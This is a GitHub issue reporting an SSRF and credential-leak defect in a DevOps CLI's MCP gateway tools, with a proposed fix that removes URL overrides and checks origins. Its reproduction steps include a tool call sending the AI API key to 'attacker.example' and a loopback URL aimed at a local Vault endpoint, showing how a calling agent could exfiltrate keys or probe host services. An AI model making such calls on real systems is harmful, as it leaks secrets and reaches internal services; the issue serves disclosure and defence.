Skip to content

fix(ai): a url that an mcp tool gives to devops ai gateway status, routes or probe-backend reaches loopback and gets the ai api key #2480

Description

@dan-petty

Problem Description

The MCP tools ai_gateway_status, ai_gateway_routes and ai_gateway_probe_backend are read-only tools (CONST_MCP_EXPOSURE_TABLE, src/devops_cli/config/constants.py:266-268). Each tool takes a URL override (gateway_url or backend_url) from the model that calls it. GatewayRouter uses the override in the same way as the configured URL. This causes two defects:

  1. Egress level. fix(ai): the ai service clients dial through the egress-checked factory, and their pre-flight address checks go #2422 moves the gateway health probe, the backend probe and the gateway model query to the egress-checked factory at the configured level: loopback without ai.allow_private_network, private with it. The override gets the same level. But the docstring of EgressLevel.PUBLIC (src/devops_cli/http/egress.py) says that a URL that a model supplies dials at the public level. Before fix(ai): the ai service clients dial through the egress-checked factory, and their pre-flight address checks go #2422, validate_url_egress(allow_private=False) refused a loopback override. After fix(ai): the ai service clients dial through the egress-checked factory, and their pre-flight address checks go #2422, a tool argument reaches the loopback services of the host without the flag.
  2. Credentials. devops ai gateway routes gives GatewayRouter the AI API key (get_ai_api_key(settings), a copy of the gateway master key) at src/devops_cli/commands/ai_gateway.py:143, and passes the override at :145. _query_model_info (src/devops_cli/ai/gateway.py:283-292) puts Authorization: Bearer <ai api key> on the request to each gateway_url. It does not compare the URL with the configured gateway. No egress level can stop this, because each level admits a public address.

Both defects have one cause: the URL override is input from the caller, but the router treats it as configuration. A review of #2422 found them.

Reproduction Steps

  1. Leave ai.allow_private_network unset, and set the AI API key.
  2. Start the MCP server (devops mcp serve), and call ai_gateway_routes(gateway_url="https://attacker.example/v1").
  3. With fix(ai): the ai service clients dial through the egress-checked factory, and their pre-flight address checks go #2422 merged, call ai_gateway_probe_backend(backend="ollama", backend_url="http://127.0.0.1:8200/v1/sys/seal-status?x=").
  4. In a test, install scripted_resolver and record_connects from tests/web_fakes.py, run the two calls, and read recorder.dialled and recorder.written.

Expected vs Actual Behavior

Expected: a URL override from a caller dials at the level of a URL that a caller supplies, not at the configured level: public, or private when ai.allow_private_network is true, as before #2422. The request carries the AI API key only when the origin of the override is the origin of ai.gateway_url. If the tools do not need the override, a simpler fix is to remove gateway_url and backend_url from the MCP tools.

Actual:

Environment Diagnostics

  • DevOps CLI Version: 0.9.0 (origin/main 91fe5dc)
  • Python Version: 3.14.10
  • OS & Architecture: Linux x86_64
  • Execution Environment: DevContainer

Logs, Traces, or Terminal Output

src/devops_cli/config/constants.py:266:    (("ai", "gateway", "probe-backend"), 30.0, True, True),
src/devops_cli/config/constants.py:267:    (("ai", "gateway", "routes"), 30.0, True, True),
src/devops_cli/config/constants.py:268:    (("ai", "gateway", "status"), 30.0, True, True),
src/devops_cli/commands/ai_gateway.py:143:    router = GatewayRouter(settings.ai, provider=provider, api_key=get_ai_api_key(settings))
src/devops_cli/commands/ai_gateway.py:145:        routes = router.list_routes(gateway_url or router.gateway_url)
src/devops_cli/ai/gateway.py:277:    resp = http_client.get(f"{gateway_url}/model/info", headers=headers)
src/devops_cli/ai/gateway.py:290:    headers = _sanitize_api_key_header(api_key)

The MCP tool schema of ai_gateway_probe_backend has backend_url ("Optional backend base URL override."), and the schemas of ai_gateway_routes and ai_gateway_status have gateway_url ("Optional gateway base URL override.").

Related

Pre-Submission Checklist

  • I have verified that no sensitive credentials, private keys, or internal tokens are contained in this issue report.
  • I have checked existing issues and pull requests to ensure this is not a duplicate.

Source: #2422

Proposed design

Problem statement

The MCP tools ai_gateway_status, ai_gateway_routes, and ai_gateway_probe_backend accept a URL override from the calling model. The override dials at the configured egress level instead of the public level. The AI API key is attached to requests to any override URL. An agent can exfiltrate the gateway master key to an arbitrary public URL. An agent can also scan loopback ports on the host. Both defects have one cause: the router treats a caller-supplied URL as configuration.

Acceptance criteria

  • Criterion 1: The MCP tool schemas for ai_gateway_status, ai_gateway_routes, and ai_gateway_probe_backend have no gateway_url or backend_url parameter.
    Verification: Run devops mcp serve and inspect the tool schemas. The three tools have no gateway_url or backend_url field.
  • Criterion 2: The CLI commands devops ai gateway status, devops ai gateway routes, and devops ai gateway probe-backend still accept their --gateway-url and --backend-url flags.
    Verification: Run devops ai gateway status --help and devops ai gateway probe-backend --help. The flags are present in the help text.
  • Criterion 3: The AI API key is attached to a request only when the request URL origin matches the configured ai.gateway_url origin.
    Verification: In a test, set ai.gateway_url to one origin and call _query_model_info with a different origin. The request has no Authorization header.
  • Criterion 4: A test verifies that the MCP tools dial the configured gateway at the configured egress level.
    Verification: Run uv run devops ci test tests/test_mcp.py. The test that checks the MCP gateway tools use the configured URL passes.

Key questions

  • Should the MCP tools keep or remove the URL override parameters?: Remove gateway_url and backend_url from the MCP tool schemas. The tools query the configured gateway and backend. The CLI commands keep the flags for human use. (best practice) [sources: src/devops_cli/http/egress.py, src/devops_cli/config/constants.py:266-268]
    • Chosen: Remove the override from MCP tools. The tools do not need to dial arbitrary URLs. The EgressLevel.PUBLIC docstring states that level is for URLs a model supplies, but the tools only need the configured gateway. Removing the override eliminates both the egress and credential defects at once.
    • Rejected: Keep the override and fix the egress level and credential attachment. More complex. The tools do not need to dial arbitrary URLs, so the added surface is not justified.
  • Should the AI API key be attached to requests to non-configured gateway URLs?: No. Attach the key only when the request URL origin matches the configured ai.gateway_url origin. This is defense in depth for the CLI path where a human can still type an override. (best practice) [sources: src/devops_cli/ai/gateway.py:283-292, src/devops_cli/commands/ai_gateway.py:143]
    • Rejected: Always attach the key to the gateway_url request. Allows credential exfiltration to any public URL. The current behavior is the defect.
    • Chosen: Attach the key only when the origin matches the configured gateway. Prevents credential exfiltration while preserving the CLI path where a human types a known gateway URL.
  • What egress level applies to the configured gateway URL in the MCP tools?: The configured level: loopback without ai.allow_private_network, private with it. This is set by configured_level() in src/devops_cli/http/egress.py. [sources: src/devops_cli/http/egress.py]

Fit

Fits in one pull request.

Suspected block

None.

Dependencies

None.

Activity

  1. added
    source/agent
    type/security
    status/new
    value/high
    effort/medium
    on Oct 28, 2026
  2. dan-petty commented on Oct 28, 2026

    @dan-petty
    OwnerAuthor

    Intake placed this item to the backlog: intake puts every new item in the backlog. A person plans the milestones.

    • Type: type/security. The candidate reports an SSRF and credential-exfiltration defect in MCP tool URL overrides.
    • Priority: P1-High. An agent can exfiltrate the AI API key to any public URL and scan loopback ports on the host.
    • Value: High. This is a live security hole that leaks the gateway master key and enables local port scanning.
    • Effort: Medium. The fix is to apply the correct egress level, compare origins before attaching the key, or remove the override parameters.
    • Related: fix(ai): devops ai gateway routes/status never send the API key, so an authenticated gateway always looks empty #469, which asks for a different change. Both deal with the AI API key in gateway route queries, but #469 fixes the key not being sent at all while the candidate fixes the key being sent to an untrusted caller-supplied URL.
  3. added
    priority/p1-high
    on Oct 28, 2026
  4. added
    status/ready
    and removed
    status/new
    on Oct 28, 2026
  5. devops-cli-service commented on Oct 28, 2026

    @devops-cli-service
    Contributor

    Status set to Ready at 002d645 (see proposed design in issue body).

  6. removed
    status/ready
    on Oct 30, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    effort/mediumpriority/p1-highsource/agenttype/securityvalue/high

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions